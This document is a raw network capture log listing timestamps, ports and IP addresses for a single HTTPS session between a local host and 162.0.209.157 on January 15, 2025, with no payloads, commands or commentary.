Jan 15, 2025 20:16:56.279076099 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.279113054 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.279160023 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.279216051 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.279278994 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.279331923 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.279350996 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.279375076 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.279413939 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.279464006 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.279527903 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.279587984 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.279587984 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.279603004 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.279689074 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.279700994 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.279716015 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.279762030 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.279778957 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.279778957 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.279798031 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.279836893 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.279901981 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.279957056 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.280003071 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.280016899 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.280051947 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.280376911 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.287817955 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.287873983 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.287916899 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.287930012 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.287964106 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.288058996 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.333446026 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.333535910 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.333542109 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.333580971 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.333616018 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.333731890 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.363944054 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.364026070 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.364068985 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.364100933 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.364139080 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.364172935 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.364204884 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.364258051 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.364299059 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.364310980 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.364337921 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.364403963 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.365020037 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.365088940 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.365129948 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.365148067 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.365173101 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.365377903 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.365751982 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.365808010 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.365833998 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.365845919 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.365880966 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.366053104 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.366116047 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.366158009 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.366170883 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.366205931 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.366226912 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.366348982 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.366401911 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.366440058 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.366452932 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.366485119 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.367093086 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.380249023 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.380306005 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.380352974 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.380366087 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.380392075 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.380459070 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.425767899 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.425853968 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.425911903 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.425971985 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.426014900 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.426151991 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.475895882 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.475986958 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.476032019 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.476049900 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.476085901 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.476330042 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.476372004 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.476385117 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.476416111 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.476434946 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.476542950 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.476558924 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.476640940 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.476692915 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.476739883 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.476756096 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.476794958 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.476855993 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.476916075 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.476962090 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.476975918 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.477008104 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.477194071 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.477401018 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.477452993 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.477494955 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.477507114 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.477540016 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.477610111 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.477652073 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.477669001 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.477693081 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.477714062 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.477735996 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.477796078 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.477894068 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.477950096 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.478003979 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.478017092 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.478055954 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.478146076 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.519107103 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.519165039 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.519212961 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.519231081 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.519263029 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.519290924 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.569341898 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.569402933 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.569447994 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.569462061 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.569494009 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.569567919 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.569596052 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.569610119 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.569648981 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.569657087 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.569926023 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.569938898 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.570250034 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.570302963 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.570347071 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.570362091 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.570395947 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.570549011 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.570607901 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.570652962 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.570666075 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.570710897 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.571197033 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.571249962 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.571310997 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.571345091 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.571382046 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.571518898 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.571578979 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.571593046 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.571609020 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.571665049 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.571665049 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.572103977 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.572158098 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.572221041 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.572221041 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.572236061 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.572329044 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.610661983 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.610742092 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.610784054 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.610797882 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.610835075 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.611438036 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.661370039 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.661452055 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.661510944 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.661580086 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.661617041 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.661900997 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.661967039 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.662106991 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.662107944 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.662118912 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.662173033 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.662211895 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.662237883 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.662237883 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.662345886 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.662365913 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.662522078 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.662580967 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.662633896 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.662648916 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.662687063 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.663029909 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.663084984 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.663249969 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.663341999 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.663388014 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.663399935 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.663455009 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.663499117 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.663515091 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.663552046 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.663588047 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.663640022 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.663697004 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.663712025 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.663748980 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.664647102 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.722409010 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.722491026 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.722949028 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.723011017 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.724385023 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.772968054 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.773053885 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.773085117 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.773144960 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.773188114 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.773407936 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.773454905 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.773461103 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.773494005 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.773509026 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.773530006 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.773907900 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.774769068 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.774813890 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.774862051 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.774876118 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.774913073 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.774955034 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.775214911 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.775257111 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.775300026 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.775310993 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.775371075 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.775434017 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.776089907 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.776134014 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.776177883 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.776190042 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.776225090 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.776345968 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.776395082 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.776441097 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.776504993 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.776504993 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.776525974 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.776716948 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.776757002 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.776801109 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.776859045 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.776870966 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.776906013 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.776994944 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.835418940 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.835481882 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.835515976 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.835583925 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.835621119 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.835645914 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.872761011 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.872826099 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.872848988 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.872869015 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.872911930 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.872911930 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873087883 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.873132944 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.873151064 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873163939 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.873192072 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873212099 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873454094 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.873500109 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.873522997 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873533964 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.873564959 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873564959 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873610020 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873640060 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.873749971 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.873752117 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873776913 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.873809099 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873825073 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.873852968 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873871088 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.873944044 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873944044 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.873994112 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.874043941 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.874057055 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.874068975 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.874099970 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.874121904 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.874306917 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.874351978 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.874378920 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.874389887 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.874422073 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.874442101 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.874541998 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.874588013 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.874607086 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.874619007 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.874646902 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.874666929 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.927860975 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.927931070 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.927963018 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.927975893 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.928008080 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.928029060 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.965365887 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.965419054 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.965457916 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.965540886 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.965590000 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.965590000 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.965864897 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.965912104 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.965929985 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.965944052 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.965975046 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.965996027 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.966188908 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.966234922 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.966257095 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.966268063 CET	443	50137	162.0.209.157	192.168.2.5
Jan 15, 2025 20:16:56.966298103 CET	50137	443	192.168.2.5	162.0.209.157
Jan 15, 2025 20:16:56.966317892 CET	50137	443	192.168.2.5	162.0.209.157
